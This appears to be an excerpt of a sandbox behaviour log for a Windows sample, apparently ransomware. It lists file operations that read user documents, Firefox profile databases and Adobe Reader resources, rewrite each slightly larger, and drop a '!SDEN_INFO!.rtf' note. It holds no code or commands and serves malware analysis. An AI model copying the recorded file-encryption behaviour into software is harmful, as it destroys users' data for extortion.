File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\root\ui-strings.js, size = 2513	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\da-dk\ui-strings.js, size = 916, size_out = 916	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\da-dk\ui-strings.js, size = 2332	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hu-hu\ui-strings.js, size = 907, size_out = 907	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\hu-hu\ui-strings.js, size = 2323	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ru-ru\ui-strings.js, size = 945, size_out = 945	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ru-ru\ui-strings.js, size = 2361	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\selector.js, size = 2902, size_out = 2902	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\selector.js, size = 4318	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_it_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_it_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_it_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_it_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_cn_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_cn_135x40.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_cn_135x40.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_zh_cn_135x40.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\bg_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\bg_get.svg, size = 6729, size_out = 6729	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\bg_get.svg, size = 8145	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fr_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fr_get.svg, size = 7817, size_out = 7817	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fr_get.svg, size = 9233	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\no_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\no_get.svg, size = 6827, size_out = 6827	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\no_get.svg, size = 8243	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\tr_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\tr_get.svg, size = 5441, size_out = 5441	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\tr_get.svg, size = 6857	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\da-dk\ui-strings.js, size = 1416, size_out = 1416	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\da-dk\ui-strings.js, size = 2832	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ja-jp\ui-strings.js, size = 1669, size_out = 1669	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ja-jp\ui-strings.js, size = 3085	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sl-si\ui-strings.js, size = 1456, size_out = 1456	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\sl-si\ui-strings.js, size = 2872	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main.css, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main.css, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\css\main.css, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\progress.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\progress.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\progress.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\themes\dark\progress.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\eu-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\eu-es\ui-strings.js, size = 6848, size_out = 6848	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\eu-es\ui-strings.js, size = 8264	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\nb-no\ui-strings.js, size = 6438, size_out = 6438	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\nb-no\ui-strings.js, size = 7854	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\js\nls\sv-se\ui-strings.js, size = 6512, size_out = 6512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hr-hr\!SDEN_INFO!.rtf, size = 7928	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\core_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\core_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\core_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\core_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\file_info.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\file_info.png, size = 437, size_out = 437	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\file_info.png, size = 1853	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\download-btn.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\download-btn.png, size = 1128, size_out = 1128	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\images\themes\dark\download-btn.png, size = 2544	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\tool-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\tool-selector.css, size = 1191, size_out = 1191	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\tool-selector.css, size = 2607	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons.png, size = 1363, size_out = 1363	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\share_icons.png, size = 2779	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\share_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\share_icons.png, size = 1363, size_out = 1363	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\images\themes\dark\share_icons.png, size = 2779	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-il\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-il\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\en-il\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ko-kr\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ko-kr\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ko-kr\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sv-se\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sv-se\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\sv-se\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\en-gb\ui-strings.js, size = 840, size_out = 840	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\en-gb\ui-strings.js, size = 2256	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\sv-se\ui-strings.js, size = 840, size_out = 840	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\sv-se\ui-strings.js, size = 2256	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\checkmark.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\checkmark.png, size = 618, size_out = 618	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\images\themes\dark\checkmark.png, size = 2034	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
For performance reasons, the remaining 1393 entries are omitted. The remaining entries can be found in glog.xml.

Thread 0x1148

2528

0

»

Category	Operation	Information	Count	Logfile
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cert8.db, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cert8.db, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cert8.db, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cert8.db, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\cert8.db, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\permissions.sqlite, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\permissions.sqlite, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\permissions.sqlite, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\permissions.sqlite, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\Mozilla\Firefox\Profiles\w7cr0hor.default\permissions.sqlite, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\6HQBe1Id.xlsx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\6HQBe1Id.xlsx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\Documents\6HQBe1Id.xlsx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\6HQBe1Id.xlsx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\6HQBe1Id.xlsx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\AppData\Roaming\wx1gKcZ ARkXbsEtQ26.docx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\wx1gKcZ ARkXbsEtQ26.docx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Users\FD1HVy\AppData\Roaming\wx1gKcZ ARkXbsEtQ26.docx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\wx1gKcZ ARkXbsEtQ26.docx, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\AppData\Roaming\wx1gKcZ ARkXbsEtQ26.docx, size = 16384	1	Fn Data
File	Create	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\JXIUqqf 3E1.odt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\JXIUqqf 3E1.odt, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\JXIUqqf 3E1.odt, size = 5512	1	Fn Data
File	Write	filename = C:\Users\FD1HVy\Documents\MDvWkEoF\JXIUqqf 3E1.odt, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annotations\Stamps\ENU\SignHere.pdf, size = 16384	1	Fn Data
